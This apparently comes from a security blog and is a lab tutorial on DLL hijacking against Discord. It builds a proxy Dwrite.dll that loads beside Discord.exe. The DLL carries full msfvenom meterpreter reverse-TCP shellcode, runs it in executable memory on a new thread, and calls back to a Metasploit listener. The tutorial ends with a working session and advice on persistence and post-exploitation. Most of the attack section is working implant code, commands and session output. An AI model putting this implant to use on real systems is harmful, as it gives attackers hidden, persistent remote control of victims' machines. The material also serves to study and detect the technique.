Introduction

DLL hijacking is a way for attackers to execute code, gain persistence and in some cases escalate privileges on a machine.
This is by no means a new tactic but rather something that's fun playing around with.

In short; A DLL (Dynamic Link Library) contains executable code used by Windows or other applications and can by loaded at runtime, giving the application access to additional code/functionality.
If we, as attackers, can make Windows or the application load our DLL instead of the intended one, we'll have a way to execute code in the context of the user loading the DLL.
In turn, this can lead to privilege escalation and/or persistence on a system.

DLL Search Order

In order to understand how we can hijack a DLL, we first need to understand how DLLs are loaded.
When SafeDllSearchMode is enabled and a DLL is loaded in the address space of an application and a full path to the DLL is not specified, Windows will look for the DLL in the following order:

  1. The directory from which the application loaded
  2. The system directory
  3. The 16-bit system directory (not relevant for newer versions of Windows)
  4. The Windows directory
  5. The current directory
  6. The directories that are listed in the PATH environment variable

Hijacking a DLL

When monitoring DLL loading activity on my system, I noticed that Discord tries to load several DLLs from a directory where the file doesn't exist and where we have write access.

Obviously there's a lot of DLLs we can hijack, but I decided to hijack Dwrite.dll.
But if we just create a DLL with the name "Dwrite.dll" and drop it in the directory where Discord.exe is loaded from, Discord will crash. This is because our DLL don't have any of the expected functions, so whenever Discord tries to use a specific function from our DLL, it won't work and Discord will just freeze or crash.

In order to fix this problem and make sure Discord function as usual - even when using our DLL - we can create a "proxy DLL". Whenever Discord is trying to use the expected functionality, we simply "proxy" the request over to the legit DLL and Discord won't crash.

Before we do anything else though, we need to figure out where the legit DLL is located. We can do this with Process Monitor (the same program we used above when looking for DLL hijacking candidates).

Here we see Discord trying to load the DLL from the same directory as Discord was loaded from. Since it didn't find the DLL it moved on to the system directory, where the file was located and successfully loaded.
We now know exactly where the legit DLL is located.

Now we need to figure out what functions are exported by the DLL. There's many ways of doing this but I decided to use gendef.exe from Mingw-w64.

C:\temp>gendef C:\Windows\SysWOW64\DWrite.dll
 * [C:\Windows\SysWOW64\DWrite.dll] Found PE image
 
C:\temp>type DWrite.def
;
; Definition file of DWrite.dll
; Automatic generated by gendef
; written by Kai Tietz 2008
;
LIBRARY "DWrite.dll"
EXPORTS
DWriteCreateFactory@12

As shown above, we only have one exported function to take into consideration: DWriteCreateFactory.
Since we are creating a proxy DLL, the exported function needs to be included in our DLL, as shown in the source code below.

And, as a proof-of-concept, when Discord launches, let's display a message box.

#include <Windows.h>

// Export directives for the linker (from gendef.exe)
#pragma comment(linker, "/export:DWriteCreateFactory=C:\\\\Windows\\\\SysWOW64\\\\DWrite.dll.DWriteCreateFactory,@12")

// Main entry point for the DLL
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"Hello, World", NULL, NULL);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Compiling the source code, naming the file "DWrite.dll" and placing it in the directory where Discord is loaded from gives us a message popup when starting Discord.

Now that everything is working as expected, let's add some more functionality to the  DLL, which in turn will give us a reverse shell whenever Discord is started.

For the sake of simplicity we can just use msfvenom to generate the reverse shell shellcode.

s1gh@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.140 LPORT=1337 EXITFUNC=thread -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 375 bytes
Final size of c file: 1599 bytes
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20\x01\xd3\x8b\x48\x18"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x8c\x68\x02"
"\x00\x05\x39\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

We also need to update our DLL so that the shellcode is executed in a thread. Executing the shellcode in the current process, without a thread, will cause Discord to hang and the stager will never receive the second stage.

#include <Windows.h>

#pragma comment(linker, "/export:DWriteCreateFactory=C:\\\\Windows\\\\SysWOW64\\\\DWrite.dll.DWriteCreateFactory,@12")

unsigned char shellcode[] = 
	"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
	"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
	"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
	"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
	"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x01\xd3\x50"
	"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
	"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
	"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
	"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
	"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
	"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
	"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
	"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x8c\x68\x02"
	"\x00\x05\x39\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
	"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
	"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
	"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
	"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
	"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
	"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
	"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
	"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
	"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
	"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
	"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

// https://docs.microsoft.com/en-us/windows/win32/procthread/creating-threads
DWORD WINAPI GimmeShell(LPVOID)
{
    LPVOID newMemory;
    HANDLE currentProcess;

    // Get the current process handle 
    currentProcess = GetCurrentProcess();

    // Allocate memory and set the read, write and execute flag
   newMemory = VirtualAllocEx(currentProcess, NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Copy the shellcode into the newly allocated memory
    WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&shellcode, sizeof shellcode, NULL);

    // If everything went well, we should now be able to execute the shellcode
    ((void(*)())newMemory)();

    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    HANDLE threadhandle;

    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
    	// Create a thread and run our function
        threadhandle = CreateThread(NULL, 0, GimmeShell, NULL, 0, NULL);
        // Close the thread handle
        CloseHandle(threadhandle);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Compiling this file should result in a fully working DLL which will give us a reverse shell.

Copy the file to the directory where Discord is being loaded from and setup a Metasploit listener.

msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.140    yes       The listen address (an interface may be specified)
   LPORT     1337             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run -z

[*] Started reverse TCP handler on 192.168.1.140:1337

Now we can start Discord to see if everything is working as expected.

msf6 exploit(multi/handler) > run -z

[*] Started reverse TCP handler on 192.168.1.140:1337 
[*] Sending stage (175174 bytes) to 192.168.1.153
[*] Sending stage (175174 bytes) to 192.168.1.153
[*] Meterpreter session 1 opened (192.168.1.140:1337 -> 192.168.1.153:51499) at 2021-06-03 23:52:28 +0200
[*] Session 1 created in the background.
msf6 exploit(multi/handler) > sessions -i 1 
[*] Starting interaction with 1...

meterpreter > getuid
Server username: lab\s1gh
meterpreter > sysinfo
Computer        : lab
OS              : Windows 10 (10.0 Build 19042).
Architecture    : x64
System Language : nb_NO
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
Side note: The meterpreter session is running as x86 but the architecture is x64, so if this was a real attack, it would be best to migrate to a x64 process before continuing running any post exploitation modules.
Running post modules like local_exploit_suggester etc. will end up giving you false positives if there's a mismatch between the meterpreter session and the system architecture.

Since we set the EXITFUNC to thread, when we exit the meterpreter session we will get a clean exit and Discord will continue working as normal without any crashes!

We now have achieved persistence via Discord!